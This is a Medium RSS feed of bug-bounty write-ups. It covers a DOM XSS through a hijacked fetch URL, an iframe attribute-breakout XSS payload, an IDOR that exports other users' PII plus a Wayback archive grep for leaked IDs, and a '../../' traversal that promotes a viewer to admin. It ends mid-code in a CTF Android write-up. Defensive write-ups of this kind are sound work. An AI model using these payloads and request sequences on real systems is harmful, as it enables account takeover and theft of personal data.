<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Adhamkhairy on Medium]]></title>
        <description><![CDATA[Stories by Adhamkhairy on Medium]]></description>
        <link>https://medium.com/@0xsponge?source=rss-55e2a790b2fc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*xv5j3MG7_VrAoW34</url>
            <title>Stories by Adhamkhairy on Medium</title>
            <link>https://medium.com/@0xsponge?source=rss-55e2a790b2fc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 01:24:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xsponge/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My Input Wasn’t the Payload. It Was the Address.]]></title>
            <link>https://infosecwriteups.com/my-input-wasnt-the-payload-it-was-the-address-caf9b8a65bf5?source=rss-55e2a790b2fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/caf9b8a65bf5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Adhamkhairy]]></dc:creator>
            <pubDate>Tue, 22 Sep 2026 07:01:03 GMT</pubDate>
            <atom:updated>2026-09-22T07:01:03.066Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ia4d4carU88OoZdz5TbWXw.png" /></figure><h3>The bug class where there’s nothing to filter, because you never sent anything to filter.</h3><p>Every DOM XSS writeup has the same shape. Find a sink, find a source, then spend the afternoon on the part in between: what gets stripped, what gets encoded, which tag survives, whether you can sneak a quote through. The payload is the work.</p><p>This one skipped that entirely.</p><p>My input never became a payload. It became a <strong>hostname</strong>. The page took my string, used it to decide which server to fetch its own content from, and rendered whatever came back. The payload showed up afterward, from my box, in a response body.</p><p>Nothing to filter. Filtering happens to payloads, and I never sent one.</p><h3>Eight ampersands</h3><p>https://ex.example.com/ is a public course catalog. Reading lists, a nav menu, no login. The kind of host you scroll past.</p><p>What stopped me was the query string in the site’s own links:</p><pre>?directlink&amp;nav-home/welcome&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;</pre><p>No key names. Just values in slots, plus eight trailing ampersands doing nothing visible.</p><p>That isn’t a query string. It’s an array with a URL wrapped around it, which means someone invented this format by hand instead of using the one the platform already gives them. Hand made formats come from hand written parsers, and hand written parsers get written by people thinking about making links work, not about hostile input.</p><p>So I opened core.js.</p><h3>Reading it</h3><p>55 KB of jQuery. No build step, no framework, and a hardcoded array of the site’s own nav paths maintained by hand at the top. That tells you how much of this was designed versus accumulated.</p><pre>var querystring = decodeURIComponent(location.search.substring(1));<br>if (querystring.indexOf(&quot;directlink&quot;) != -1) {<br>    var getDirLink = querystring.split(&quot;&amp;&quot;);<br>    trackPgPath = getDirLink[1];<br>}</pre><p>It doesn’t look for a parameter named directlink. It checks whether that string appears anywhere, then grabs <strong>slot 1</strong> of the split and calls it a page path.</p><p>The ampersands make sense now. Later code reads the higher slots without checking they exist, so dropping them throws on undefined.length and kills the flow early. The padding is load bearing.</p><p>My string is a variable now, straight from the address bar, nothing in between.</p><p>Forty lines later:</p><pre>if (page.indexOf(&quot;:&quot;) != -1) { holdUrl = page }<br>var getPage = ajaxCall(holdUrl, &#39;&#39;, &#39;html&#39;);<br>$(&quot;#&quot; + tagID).html(result);</pre><p>A colon flips my value from “local page name” to “complete URL.” That URL goes to $.ajax with dataType: &#39;html&#39;, and the response lands in the page via .html().</p><p>I’m not injecting into the page. I’m choosing where the page gets its body from.</p><h3>What that changes</h3><p><strong>No encoding to beat.</strong> The response never touches the app’s input handling, because it isn’t input. It’s a fetch result.</p><p><strong>The requirements move to your own infrastructure.</strong> The default method is POST, so your server has to answer POST and send Access-Control-Allow-Origin or the browser won&#39;t let the page read the response. Not a mitigation, just a config line on a box you control.</p><p><strong>The only real obstacle was accidental.</strong> Before the fetch runs, the same string gets concatenated into a jQuery selector:</p><pre>$(&quot;#nav_&quot; + mainNav + &quot; div&quot;)</pre><p>Hand that a raw URL and jQuery’s selector engine throws unsupported pseudo, killing the function before it reaches the sink. Keep the string selector parseable and you&#39;re through.</p><p>That’s the part worth sitting with. The only thing standing between a hostile URL and script execution on this origin was a CSS selector nobody wrote to validate anything. It exists because the menu lookup happens to run first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jE395pyG8sVTJRiBR1pdBA.png" /></figure><p>Triaged .</p><h3>The boring origin is the point</h3><p>It’s a course catalog. Nobody logs in. Nothing on the page to steal, which is exactly why it sat there untouched.</p><p>Browsers don’t care what a page is about. Script on that origin runs inside its security boundary: it can hit the site’s own endpoints as the visitor, rewrite the content to say anything, and keep doing it as long as the tab stays open, all from a link that looks like an ordinary deep link.</p><p>Boring content and boring origin are two different properties. Only one of them is a security boundary.</p><h3>The lesson</h3><p>Serving a page by name is solved. Every framework ships a router: take the name, look it up, return the template. No user input reaches the output, ever.</p><p>When you find someone solving that same problem by hand, with positional slots and string concatenation and a manually maintained list of their own page names, that’s the flag. Not because hand written code is bad, but because somebody decided the built in way didn’t fit, stepped off it, and then re-implemented every safety property from memory while thinking about the feature.</p><p>Here they re-implemented routing and accidentally implemented <em>fetch a URL of the caller’s choosing and render it</em>.</p><p>The tell was never a payload. It was eight ampersands, which told me a person had invented a parameter format. Everything after that was reading.</p><p>👉 Don’t forget to follow me on <a href="https://www.linkedin.com/in/0xsponge/">LinkedIn</a> for more writeups and cybersecurity content!</p><p>👉 If you enjoyed this writeup, leave a like and follow me for more hacking content!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=caf9b8a65bf5" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/my-input-wasnt-the-payload-it-was-the-address-caf9b8a65bf5">My Input Wasn’t the Payload. It Was the Address.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Debugging Endpoints Nobody Bothers to Test Leads to Some Crits]]></title>
            <link>https://infosecwriteups.com/debugging-endpoints-nobody-bothers-to-test-leads-to-some-crits-579eb9fbceb7?source=rss-55e2a790b2fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/579eb9fbceb7</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Adhamkhairy]]></dc:creator>
            <pubDate>Sat, 05 Sep 2026 19:01:01 GMT</pubDate>
            <atom:updated>2026-09-05T19:01:01.314Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zz7H9xZpGerZtzmg-in3eA.png" /></figure><p>How Reading Two Lines in the Debugger Turned a Cookie Policy Page Into a Crit.</p><p>The URL was this boring:</p><pre>https://app.example.com/cookie-policy/es/es</pre><p>A cookie policy page. With a locale in the path. That’s it.</p><p>Nobody tests this. You see /cookie-policy/ in a scope and your eyes slide right past it on the way to the login flow, the file upload, the payment endpoint… anywhere that actually <em>does</em> something. A page whose entire job is to display legal text about cookies is the least interesting thing on any target.</p><p>I opened the debugger on it anyway, mostly out of stubbornness.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*plzZpJZwCRA7sCMLzyn6FQ.png" /></figure><p>The debugger told me it wasn’t a static page</p><p>I opened the page, opened DevTools, and started stepping.</p><p>No theory, no payload in mind. Just set a breakpoint early in the component and walked forward one line at a time, watching what the code did with itself.</p><p>And a few frames in, the assumption I’d walked in with fell apart.</p><p>I had been reading /cookie-policy/es/es the way you read any locale URL — as a <strong>static route</strong>. en is <strong>English</strong>. There&#39;s a <strong>English</strong> page. It serves the <strong>English</strong> page. Boring, done, move on. That&#39;s what the URL <em>looks</em> like it means.</p><p>Except the debugger showed me en wasn&#39;t selecting a page at all. It was being pulled out of the route as a <strong>value</strong>:</p><pre>const { language } = this.route.snapshot.params;</pre><p>That’s not routing. That’s <em>reading my INPUT</em>. The string I typed in the address bar was now a variable inside the application, and nothing had checked whether it was a real locale on the way in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*qz6n15JeaQwe0whBI4s9lA.png" /></figure><p>That reframes the whole page. A static locale route has no attack surface. A page that lifts a path segment into a variable has exactly as much attack surface as whatever it does with that variable next.</p><p>So I kept stepping. Slowly. Not hunting for a payload — just following my own string through the code, one line at a time, until I could see where it landed.</p><p>Two frames later:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2O_Yf0rvA-45rN-KwaQVWQ.png" /></figure><pre>const link = AppConfig.cookieConsentFrameUrl + language;<br>trustArcWindow.html = trustArcWindow.html.replace(&quot;{path}&quot;, link);</pre><p>And I stopped reading.</p><h3>What those lines actually say</h3><p>Going back up: language comes straight out of the URL. No validation, no allow-list, no check that it&#39;s a real locale.</p><p>Then it gets <strong>concatenated onto a config URL.</strong> Not encodeURIComponent. Not a URL object. String concatenation.</p><p>Then the result gets shoved into an HTML template by replacing a {path} placeholder.</p><p>The template it lands in is an iframe:</p><pre>&lt;iframe width=&#39;100%&#39; height=&#39;800&#39; src=&#39;{path}&#39;&gt;&lt;/iframe&gt;</pre><p>So my input goes directly into an HTML attribute, inside an HTML string, that is about to be rendered. I followed one more frame to find out how it gets rendered, and there it was:</p><pre>addHtml(u){ this.htmlContainer.nativeElement.innerHTML = u }</pre><p>Raw innerHTML, straight onto the DOM node.</p><p>This is Angular. Angular has a sanitizer. Angular <em>wants</em> to sanitize this for you — that’s the entire point of [innerHTML] binding. Someone reached past it to write to nativeElement directly, which turns the framework&#39;s built-in protection off.</p><p>Source and sink, four lines apart, with nothing in between.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NWchuhR3DvY28KTaF2XIcw.png" /></figure><p>The payload writes itself</p><p>Once you can see the sink, the payload isn’t creative work. You’re just closing what’s already open.</p><p>My value lands inside src=&#39;...&#39;. So:</p><ul><li>A &#39; closes the attribute</li><li>&gt; closes the iframe&#39;s opening tag</li><li>&lt;/iframe&gt; — this one matters. Iframe children parse as raw text, so anything you inject <em>inside</em> the element is inert. You have to close it first to get back into parseable HTML.</li><li>Then whatever you want, as a sibling element</li></ul><p>Something along the lines of:</p><pre>&#39;&gt;&lt;/iframe&gt;&lt;svg onload=...&gt;</pre><p>Load it in a clean tab, and script executes on the application’s own origin.</p><p>Which is where a cookie policy page stops being a cookie policy page. Same origin means the injected script sits inside the app’s security boundary — it can read the application’s own endpoints, touch whatever the logged-in user is in the middle of doing, and act as them against the backend. On this particular target that meant a workflow handling people’s personal submissions and document uploads.</p><p>The page was boring. The origin it ran on was not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y5MjmAJ9owxjMI3VNvigzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BU6uuviBIKDrKSyrMyVFqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*oOpMFZ1lpQafJjQw.gif" /><figcaption>XSS WORKKKKKEDDDD!!!!!</figcaption></figure><h3>The actual lesson</h3><p>Here’s the pattern I want you to take from this, because it’s the reusable part.</p><p>Rendering localized content is a <strong>solved problem</strong>. Every framework has a way to do it. The boring version looks like this:</p><pre>@app.get(&quot;/{lang}&quot;)  →  return templates[lang]</pre><p>Look up the locale. Return the template. Done. There is no user input in the output.</p><p>When you find someone doing that same solved problem in a <em>custom</em> way — building URLs with +, patching HTML together with .replace(), writing to innerHTML when the framework offers a sanitized binding — that is a red flag every single time.</p><p>Not because custom code is bad. Because custom code means somebody decided the safe path didn’t fit their case, and stepped off it. Framework defaults are safe by design. Anything hand-rolled around them was written by a person who was thinking about making the feature work, not about what happens when a hostile string arrives.</p><p>Custom implementations of solved problems are where the bugs are.</p><p>And you only see them by putting a breakpoint in and reading, line by line, until you’re looking at where your input actually ends up. It’s slow, it’s not glamorous, and it’s why the finding was still sitting there for me on a page everybody else scrolled past.</p><p>👉 <strong>Don’t forget to follow me on</strong> <a href="https://www.linkedin.com/in/0xsponge/"><strong>LinkedIn</strong></a> for more writeups and cybersecurity content!</p><p>👉 If you enjoyed this writeup, <strong>leave a like</strong> and <strong>follow me for more hacking content!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=579eb9fbceb7" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/debugging-endpoints-nobody-bothers-to-test-leads-to-some-crits-579eb9fbceb7">Debugging Endpoints Nobody Bothers to Test Leads to Some Crits</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Got My Highest Payout]]></title>
            <link>https://infosecwriteups.com/how-i-got-my-highest-payout-466213a1cb47?source=rss-55e2a790b2fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/466213a1cb47</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Adhamkhairy]]></dc:creator>
            <pubDate>Fri, 31 Jul 2026 21:01:01 GMT</pubDate>
            <atom:updated>2026-08-29T06:08:39.761Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uK49No-B5J4jP5zxC_Z8nQ.png" /><figcaption>The Token Was Fine. That Was the Whole Problem.</figcaption></figure><p>The target was an application portal. You register, you fill out a genuinely <strong>ENORMOUS</strong> form, and at the end it generates a PDF of everything you submitted: income figures, tax numbers, personal identifiers, household details. Not just yours. Your whole family’s.</p><p>Filling that form out properly took me close to an <strong>HOUR</strong>.</p><p>And that hour is why the bug was still there.</p><h3>Nobody wants to fill out the form</h3><p>Most hunters land on a target like this, see a multi-stage form with validation on every field, and go looking for something with a shorter path to a request. I get it. It’s boring. You didn’t get into this to type in fake tax figures for an hour.</p><p>But that friction is the whole reason the bug survived. Every previous hunter bounced off the setup, so nobody ever reached the endpoints that only appear <em>after</em> you have a real, completed application sitting in the database.</p><p>The harder a target is to set up, the fewer people have looked at what’s behind the setup.</p><p>So I filled out the form. <strong>Twice</strong> I’d need a second account eventually anyway.</p><h3>The request that looked wrong</h3><p>Every data call on the platform looked like this:</p><pre>POST /App/SomeController/SomeMethod HTTP/1.1<br>Host: portal.example.com<br>Authorization: Bearer &lt;JWT&gt;<br>Content-Type: application/json<br><br><br><br><br>{&quot;UserId&quot;:&quot;&lt;blob&gt;&quot;,<br> &quot;ApplicationId&quot;:&quot;&lt;blob&gt;&quot;,<br> &quot;PageName&quot;:&quot;...&quot;,<br> &quot;Token&quot;:&quot;&lt;the same JWT again&gt;&quot;}</pre><p>The Bearer token already says who I am. So why is my UserId <em>also</em> in the body? And why is the token in there a second time?</p><p>Either those IDs are decoration, or they’re the thing actually doing the lookup. Only one of those is interesting.</p><h3>The wrong turn</h3><p>I saw a JWT and went after the JWT, because that’s the reflex.</p><p>Flipped a byte in the signature → 401. Set alg to none → 401.</p><p>Their authentication was flawless. Signature properly verified, no algorithm confusion, nothing. I kept poking anyway for a while because I’d already decided that was the bug.</p><p>Then it clicked, and the failure was the clue.</p><p>A verified token answers <strong>who is asking</strong>. It says nothing about <strong>what they’re allowed to have</strong>. And I still had that unexplained UserId in the body.</p><h3>The swap</h3><p>Account <strong>A</strong> is me. Account <strong>V</strong> is the victim also me, different email, with a real completed application on it. That’s what the second hour of form-filling bought.</p><p>Kept <strong>A’s own untouched Bearer token</strong>. Swapped the body IDs for V’s.</p><pre>POST /App/AppCertification/GetAppCertification HTTP/1.1<br>Authorization: Bearer &lt;A&#39;s own token&gt;<br><br><br>{&quot;UserId&quot;:&quot;&lt;V&#39;s&gt;&quot;,&quot;ApplicationId&quot;:&quot;&lt;V&#39;s&gt;&quot;, ...}</pre><pre>HTTP/1.1 200 OK<br><br><br><br>{&quot;ReturnMessage&quot;:&quot;Success&quot;,&quot;Username&quot;:&quot;&lt;V&#39;s&gt;&quot;, ...}</pre><p>My session. V’s data.</p><p>Then the PDF export endpoint, same trick:</p><pre>HTTP/1.1 200 OK<br>Content-Type: application/pdf<br>Content-Length: 105590<br>Content-Disposition: attachment; filename=Profile-&lt;V&#39;s reference&gt;.pdf</pre><p>103 KB. Filename stamped with <strong>the victim’s</strong> reference number. That’s not a leaked field; that’s the entire application. Every number that household typed in, exported as a file, by me, from a free account I made in a minute.</p><h3>Where most people stop</h3><p>Here’s the part I want you to actually read.</p><p>I had mass PII. Full dossier, whole family, one request. And there’s an obvious objection sitting right on top of it:</p><p><strong>You need two non-sequential IDs to pull this off.</strong> They aren’t integers you can increment — they’re long opaque ciphertext blobs. Unguessable. So the argument writes itself: <em>sure it’s a bug, but you’d need the victim’s IDs, and you can’t get those.</em> Low severity. Targeted at best.</p><p>That’s where the report ends for most people. You’ve got a working PoC, triage has a ready-made downgrade, you take the small win and move on.</p><p>I didn’t want the small win. So instead of arguing the severity, I went looking for where those IDs actually live.</p><p>They’re in the URL.</p><p>The full identity object , IDs and session token together, gets serialized into the <strong>query string</strong> during ordinary navigation. It’s sitting in the address bar. On every session. For every user.</p><p>And once something is in a URL it isn’t a secret anymore. It’s in browser history on whatever machine you used, often a shared family, school, or library computer. It’s in every access log along the path: web server, proxy, WAF, CDN. It’s in public web archives, permanently, because crawlers capture URLs and archives keep them.</p><pre>curl -s &quot;https://web.archive.org/cdx/search/cdx?url=subdomain.target.example&amp;matchType=domain&amp;output=text&amp;fl=original&amp;collapse=urlkey&quot; | grep -E &quot;UserId&quot;</pre><p>I confirmed real users’ identity objects had reached a public archive. I counted them and stopped there, I did not touch a single real account. The specifics stay in the report.</p><p>So “the IDs are unguessable” was never a control. The application publishes them itself, on every page load, into places that keep them forever.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*UX8tR7i475whJt18-2GDzg.png" /></figure><h3>Why it broke</h3><p><strong>Authentication was excellent. Authorization was absent.</strong></p><p>Two different questions, and the app only ever asked the first:</p><ul><li><em>Who is asking?</em> → verify the JWT. Done perfectly. That’s why my forged tokens got clean 401s.</li><li><em>Is this person allowed to have this object?</em> → never asked. Not on any endpoint.</li></ul><p>Identity came from the verified token. The target record came from attacker-controlled input. Nothing ever checked that those two agreed.</p><h3>Takeaway</h3><p>Two things carried this one, and neither was clever.</p><p><strong>The hour of form-filling.</strong> The setup friction that made me not want to test this target is exactly what kept everyone else out. Boring work is a moat, and you get to walk across it.</p><p><strong>Not accepting the easy downgrade.</strong> “You’d need IDs you can’t guess” sounds like a reason to stop. It’s actually just the next question. Every time impact depends on something an attacker supposedly can’t obtain, go find out whether they can. That’s usually where the severity is hiding.</p><p>👉 <strong>Don’t forget to follow me on</strong> <a href="https://www.linkedin.com/in/0xsponge/"><strong>LinkedIn</strong></a> for more writeups and cybersecurity content!</p><p>👉 If you enjoyed this writeup, <strong>leave a like</strong> and <strong>follow me for more hacking content!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=466213a1cb47" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-got-my-highest-payout-466213a1cb47">How I Got My Highest Payout</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[../../ to Admin for a $,$$$ Bounty]]></title>
            <link>https://infosecwriteups.com/to-admin-for-a-bounty-b946f781607f?source=rss-55e2a790b2fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/b946f781607f</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Adhamkhairy]]></dc:creator>
            <pubDate>Thu, 30 Jul 2026 17:13:05 GMT</pubDate>
            <atom:updated>2026-08-26T04:37:24.710Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*34dAa8Y8ZJWC-yJbLF6Bew.png" /><figcaption>How Two Dots Made Me Admin</figcaption></figure><p>The target had two roles.</p><p><strong>Admin: </strong>settings, user management, billing, promotion. Basically the whole application. Around <strong>150 endpoints</strong>.</p><p><strong>Viewer: </strong>read a few resources and go home. <strong>10 endpoints</strong>. Guess which one my account was.</p><p>140 endpoints I wasn’t allowed to touch. That gap is not a limitation, that’s a to-do list.</p><h3>The boring part nobody posts about</h3><p>So here’s what I actually did, and I want to be honest because most writeups skip this bit and jump straight to the clever payload.</p><p>I created an admin account on the second tenant, clicked through every single feature, and logged every request Burp saw. Then I took my <strong>viewer</strong> session cookie, dropped it into all 150 of those requests, and replayed them one by one.</p><p>That’s it. No custom tooling, no 12-stage recon pipeline. Just a viewer cookie and a lot of right-clicking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*QlQ3R59d0S5Jz9QmRuM_7Q.png" /><figcaption>I know i should rename the tabs, focus on the finding mate</figcaption></figure><p>149 of them came back with the same thing:</p><pre>HTTP/1.1 403 Forbidden<br>.........<br>.........<br>.........<br>.........<br><br><br>{&quot;error&quot;:&quot;Insufficient permissions&quot;}</pre><p>Over and over and over. At some point you stop reading the responses and start pattern-matching on the color of the status code column. Which is exactly when you miss things, so I made myself slow down and actually look at each one.</p><p>Good thing I did, because number 137 was green.</p><h3>Step 0: the one that answered</h3><pre>POST /api/admin/action HTTP/1.1<br>Host: app.example.com<br>Cookie: session=&lt;viewer_session&gt;<br>Content-Type: application/x-www-form-urlencoded<br><br><br>Action=ViewSettings</pre><pre>HTTP/1.1 200 OK<br>.......<br>.......<br>.......<br><br><br>{&quot;success&quot;:true,&quot;settings&quot;:{...}}</pre><p>A viewer just read the repository settings.</p><p>That’s already a report. Broken access control, admin functionality reachable by a read-only role, write it up and get a $500 medium bug and move on.</p><p>But something about it bothered me.</p><p>Look at the request again. There’s no resource id, no object reference, no query. The entire request is a <strong>VERB in a string</strong>. Action=ViewSettings. The server takes a name and… does the thing named that?</p><p>If that were a normal switch statement or an allow-list, fine, whatever. But it didn&#39;t smell like a switch. It smelled like the value was being <strong>concatenated into something</strong>.</p><p>And things that get concatenated into paths can be walked.</p><h3>Step 1: the dumbest possible test</h3><p>Before doing anything clever I wanted to know which of the two it was: allow-list or path resolution.</p><p>So I sent the most useless payload I could think of.</p><pre>POST /api/admin/action HTTP/1.1<br>Cookie: session=&lt;viewer_session&gt;<br>.......<br>.......<br>.......<br><br>Action=./ViewSettings</pre><pre>HTTP/1.1 200 OK<br>.......<br>.......<br>.......<br><br>{&quot;success&quot;:true,&quot;settings&quot;:{...}}</pre><h4>Still <strong>200</strong>.</h4><p>And this is the whole finding right here, in one character.</p><p>./ViewSettings is <strong>not a valid action name</strong>. If the backend were comparing my input against a list of allowed strings, this is an instant reject, it&#39;s simply not in the list. There is no world where an allow-list accepts it.</p><p>But ./ means &quot;same directory, go nowhere.&quot; It&#39;s a no-op. To a <strong>path resolver</strong>, ./ViewSettings and ViewSettings are the same place.</p><p>The server treated them as the same place.</p><p>So it’s a path. It was never an action name, it was a path segment being glued onto some internal URL and resolved before the internal call went out.</p><h3>Step 2: walking up</h3><p>Now I’m not guessing action names anymore. I’m navigating.</p><p>If ./ resolves, ../ resolves. One level up, then back down into wherever admin lives:</p><pre>POST /api/admin/action HTTP/1.1<br>Cookie: session=&lt;viewer_session&gt;<br>..........<br>..........<br>..........<br><br><br>Action=../admin/viewsettings</pre><pre>HTTP/1.1 200 OK</pre><p>Whatever the internal base was, it collapsed to something like:</p><pre>/internal/action/../admin/viewsettings<br>        ↓<br>/internal/admin/viewsettings</pre><p>Two hundred again.</p><p>At this point I stopped caring about settings entirely. Settings were never the prize. The prize is that I’m now issuing requests to the internal API <strong>as the internal API</strong>, from a viewer session, and whatever service is on the other end has no idea a viewer is driving.</p><h3>Step 3: the one I was building toward</h3><p>Remember the admin routes I mapped in the boring phase? One of them was a promotion endpoint. Takes a user id in the path, flips that user to admin.</p><p>Two levels up to land on the API root, then straight into it:</p><pre>POST /api/admin/action HTTP/1.1<br>Host: app.example.com<br>Cookie: session=&lt;viewer_session&gt;<br>Content-Type: application/x-www-form-urlencoded<br>..........<br>..........<br>..........<br><br>Action=../../api/admin/promote/&lt;my_user_id&gt;</pre><pre>HTTP/1.1 200 OK<br>..........<br>..........<br>..........<br><br><br>{&quot;message&quot;:&quot;User promoted to admin successfully&quot;}</pre><p>Refreshed the dashboard.</p><p>Adminnnnn. <strong>$X,000.</strong></p><blockquote><em>Small side note that made me laugh, I pulled almost exactly this trick a few months earlier on a challenge from </em><a href="https://fahemsec.com/"><strong><em>FahemSec</em></strong></a><em>, traversing a bot’s </em><em>userId parameter into </em><em>/api/admin/promote/. Shoutout to them, genuinely, their challenges aren&#39;t puzzle-box nonsense, they&#39;re built out of the stuff real applications actually get wrong. I remember thinking at the time that nobody would ever ship that. Then somebody shipped that.</em></blockquote><h3>Why it actually worked</h3><p>Two separate mistakes, and you need <strong>both</strong> of them.</p><p><strong>The Action value was dropped into a path with zero cleaning.</strong> No canonicalization, no stripping of ../, no allow-list check against known action names. The developer clearly assumed the value would only ever be one of the strings their own frontend sends.</p><p><strong>Internal calls were trusted by default.</strong> The public gateway enforced roles properly, that’s why 149 endpoints gave me 403. But service-to-service calls behind it skipped that check entirely, because obviously an internal caller is already authorized. So the moment I could aim an internal request, I arrived pre-authenticated as nobody in particular, which the backend read as “trusted.”</p><p>Either one alone is survivable. Traversal into a service that still checks roles gets you nothing. A trusted internal mesh with no user-controlled routing into it gets you nothing. Put them together and a read-only account writes itself an admin role.</p><h3>What I’d tell you to take from this</h3><p>The clever part of this bug was one character long. .</p><p>The part that actually found it was replaying 150 requests with the wrong cookie and not zoning out on request 118.</p><p>And when that first endpoint answered, the report was already there, a viewer reading admin settings is valid on its own. The $X,000 came from asking one extra question about <em>why</em> it answered instead of screenshotting the 200 and hitting submit. Same instinct as my first bounty, where a “Medium” turned into a real payout only after I went back and pushed on the endpoint again.</p><p>Don’t stop at the first 200. The 200 is the door, not the room.</p><p>👉 <strong>Don’t forget to follow me on</strong> <a href="https://www.linkedin.com/in/0xsponge/"><strong>LinkedIn</strong></a> for more writeups and cybersecurity content!</p><p>👉 If you enjoyed this writeup, <strong>leave a like</strong> and <strong>follow me for more hacking content!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b946f781607f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/to-admin-for-a-bounty-b946f781607f">../../ to Admin for a $,$$$ Bounty</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyCTF Luxor Mobile writeup]]></title>
            <link>https://0xsponge.medium.com/cyctf-luxor-mobile-writeup-7c41f8766ec8?source=rss-55e2a790b2fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c41f8766ec8</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Adhamkhairy]]></dc:creator>
            <pubDate>Mon, 16 Mar 2026 08:28:47 GMT</pubDate>
            <atom:updated>2026-03-16T08:28:47.718Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dq8ApAwr_vy8W3R_U8iV7w.png" /><figcaption>A Leaked pic of me solving the ctf</figcaption></figure><p>In this write-up, I document my slightly sleep-deprived journey through the <strong>Mobile</strong> challenges of Luxor Cyshield CTF 2026. It covers the full process: the tools I threw at the problems, the analysis that followed, and the exploits that eventually bullied the challenges into giving up their flags. The steps are clear enough that anyone can replicate the process without sacrificing too many brain cells.</p><h3>Phase 1: Qualification Round (Quals)</h3><blockquote><strong>Challenge</strong>: Phantom Prefs<strong><br>Category</strong>: Android</blockquote><p>At first glance, the app greets us with a classic login screen patiently waiting for a username and password, like it actually believes we’re going to log in the normal way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*qEHhm2uNzJNAkZESpBClXQ.png" /></figure><p>After peeking at the MainActivity source code, we find the real gatekeeper logic. The app expects the username to be phantom_admin, and the password must start with dbg_. If that condition is satisfied, the app takes the rest of the password (everything after dbg_) and feeds it into LegacyDecoder().resolve(password.substring(4)).</p><pre>public void attemptLogin() {<br>        String username = this.etUsername.getText().toString().trim();<br>        String password = this.etPassword.getText().toString().trim();<br>        if 